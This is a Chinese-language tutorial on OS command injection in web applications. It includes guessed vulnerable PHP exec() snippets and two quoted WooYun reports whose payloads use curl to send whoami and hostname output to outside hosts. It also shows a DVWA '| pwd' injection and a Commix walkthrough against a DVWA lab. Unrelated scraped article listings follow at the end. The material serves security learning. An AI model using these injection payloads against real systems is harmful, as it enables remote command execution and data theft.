关于系统命令注入,可以参考这篇文章:
命令攻击介绍

系统命令注入场景

在对企业进行安全测试时候,很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。

那么,都会有什么情况会调用系统命令呢?这个真不一定,有时候需要靠猜靠运气,不过代码不会无缘无故调用系统命令,细心研究还是会查到一些迹象的。比如对于图片处理、大文件压缩解压、ppt转pdf等,如果目标网站或者服务器接口提供这样的功能,一般情况下代码都会调用第三方软件,这里举几个例子:

1. 图片加水印
接口:www.api.com/add_water?image=test.jpg,经测试,此接口会对test.jpg加水印。
猜测代码如下:

<?php
$image = $_GET("image");
exec("/use/bin/water " . "/var/www/image/" . $image);

water是系统安装的加水印程序,image是接受的参数,此时image存在命令注入的可能。

2. ppt转pdf
猜测代码如下:

<?php
$ppt = $_GET("ppt");
exec("/use/bin/ppt2pdf " . "/var/www/ppt/" . $ppt);

和上面原理类似,ppt后面可以加命令注入攻击语句。

除了可能调用系统软件的这种情况,对于很多参数是url地址的,我们也要特别注意。如果某个程序为了省事,直接调用了系统curl命令,那么我们就可以直接注入了。再有就是ping检测功能,以及可能存在网络通讯协议、网络健康监测等功能附近,这些地方都有可能存在系统命令注入。

真实案例

列举几个乌云上关于命令注入的漏洞,供学习和参考:

1. 网易163某站点存在隐式命令注入

简要描述
网易163某站点存在隐式命令注入,可远程执行任意Linux命令。

详细说明
存在命令注入的是paopao.163.com的Referer,怀疑是某个日志分析服务的问题:

GET /search/sycProduct HTTP/1.1

Referer: $(curl http://paopao3.xxxx.dnslog.info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: www.paopao.163.com
Accept-Encoding: gzip,deflate
Accept: */*

上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行,而是每天凌晨大约0点到2点钟被执行到。

漏洞证明

如上图所示,实际上paopao3和163这个子域名都被成功打回了。

2. 搜狐某站点隐式命令注入Getshell

简要描述
搜狐某站点隐式命令注入getshell,利用HTTP request回显命令的基本方法。

详细说明
命令注入点:
http://ldd.sohu.com/d/?c=c&r=$(curl http://www.lijiejie.com:52016/?hostname=`hostname`)

参数r可以注入Linux命令。上述链接是我将hostname通过curl打回web server。

DVWA靶场

DVWA有个模块较Command Injection,是专门用来练习命令注入的。

如图,Command Injection模块提供了ping的功能,输入一个指定的ip,会返回ping的具体结果。通过功能,我们可以猜测到代码用到了系统命令ping。

当我们使用攻击语句“ | pwd”时,即可查看到当前文件所在目录,如图。

这里不做深入展开,有兴趣的可以自行研究。

Commix

对于存在命令注入的接口,我们可以利用漏洞接口操作服务器系统命令,拥有和网站相同的用户执行权限。可是每次都通过接口进行注入操作,在通过回显来查看结果,肯定很麻烦,用起来不舒服。

那么有没有什么工具,能直接通过漏洞接口,进行交互式操作呢?

这里介绍一款工具————Commix!

Commix可以帮助我们更高效的发现web应用中的命令注入攻击相关漏洞,并通过漏洞提供交互式的操作。

git网址:
https://github.com/stasinopoulos/commix

指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:

目标:
-u URL,--url = URL  目标URL。

请求:
--data=DATA      要通过POST发送的数据字符串。
--host=HOST       HTTP主机头。
--referer=REFERER    HTTP Referer标头。
--user-agent=AGENT   HTTP用户代理头。
--random-agent    使用随机选择的HTTP User-Agent头。
--cookie=COOKIE     HTTP Cookie头。
--headers=HEADERS    额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
--force-ssl      强制使用SSL / HTTPS。

我们用commix进行实战,直接攻击DVWA靶场。

我们用burpsuit进行网络流量截获,获取DVWA发起ping请求时的数据,主要是得到cookie:
PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low' --data 'ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06
d

然后启动commix,用到了--headers选项,将cookie携带进去,命令如下:
python commix.py -u http://192.168.3.108/vulnerabilities/exec/ --headers='Cookie: PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low' --data 'ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06
d'

看上图,大概流程如下:
1. 启动,检测版本是否最新,并提示用户是否更新。
2. 检测网址是否有重定向,是否跟随重定向。
3. 询问服务器操作系统,需要我们自行确认windows还是unix。
4. 开始批量进行注入攻击测试。

一旦发现注入漏洞,会提示用户是否进入交互式攻击场景下,选择是,就可以像操作命令行一样操作目标服务器了,非常好用,如图。

不过对于返回数据貌似没有换行,不是很美观,比如这里的ps aux,每个进程都挤到一起了。

总的来说,在命令注入测试中,commix是一款不错的安全检测工具。

commix 命令注入工具的更多相关文章

  1. 命令注入工具Commix

    命令注入工具Commix   命令注入(Command Injection)攻击是针对Web应用的一种攻击方式.很多Web应用会读取用户提交的数据,然后传递到系统Shell,执行特定的操作,如为用户创 ...

  2. Commix命令注入漏洞利用

    介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...

  3. commix工具配合命令注入

    commix简介 commix是一款由python编写,开源自动化检测系统命令注入工具  https://github.com/commixproject/commix commix 参数 选项: - ...

  4. sql注入工具:sqlmap命令

    sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需 ...

  5. SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)

    SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等 SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他 ...

  6. command injection命令注入

    命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...

  7. 十大关系数据库SQL注入工具一览

    摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...

  8. 详解强大的SQL注入工具——SQLMAP

    1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...

  9. 10个SQL注入工具(转载)

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...

随机推荐

  1. USB、UART、SPI等总线速率(转)

    1. USB总线 USB1.1: ——-低速模式(low speed):1.5Mbps ——-全速模式(full speed): 12Mbps USB2.0:向下兼容.增加了高速模式,最大速率480M ...

  2. gunicorn 参数

    gunicorn -w 4 -b 0.0.0.0:8080 yourpyfilename:app --log-level DEBUG --timeout 60gunicorn的命令对应参数含义如下: ...

  3. python面试题300多题

    第一部分 Python基础篇(80题) 为什么学习Python? 通过什么途径学习的Python? Python和Java.PHP.C.C#.C++等其他语言的对比? 简述解释型和编译型编程语言? P ...

  4. vue-cli中的element-ui的主题更改

    主题安装分为全局安装和局部安装(局部安装指的是项目内进行安装) 局部安装: 使用局部安装方便他人使用,他人直接安装主题需要的依赖就可以进行使用 局部安装的步骤 1.npm i element-them ...

  5. Docker安装mysql、nginx、redis、tomcat

    拉取mysql 5.7官方镜像 docker pull mysql:5.7 启动容器 docker run --name mysql5.7 -p 3306:3306 -e MYSQL_ROOT_PAS ...

  6. TP5接口开发之异常处理接管

    前几天在开发的时候用到了第三方的扩展包,使用过程中第三方扩展包抛出了异常 因为这边是接口开发,需要返回错误代码以及提示信息等,所以就需要接管异常处理. 此文章只做笔记,有不对或不详细的地方欢迎大家留言 ...

  7. ubuntn18 docker zabbix+grafana安装和使用

    在ubuntu docker inflxudb(安装 使用 备份 还原 以及python编码) telegraf Grafana我采用telegraf采集数据, 本文计划采用zabbix来才采集数据, ...

  8. count和distinct

    一.count和distinct count是统计数据条数,distinct是去掉重复列: count统计的时候会忽略null值,distinct会将重复的null值列作为一个. 综上select c ...

  9. Git新建分支,分支合并,版本回退详解

    一.git基本命令 git拉取仓库代码 #拉取master代码 git clone git仓库地址 #拉取分支代码 git clone -b 分支名称 git仓库地址 2.git添加代码到本地仓库 g ...

  10. 修改host文件加速访问github

    修改本地电脑系统 hosts 文件C:\Windows\System32\drivers\etc,直接在最后加入以下代码 192.30.253.112 github.com 192.30.253.11 ...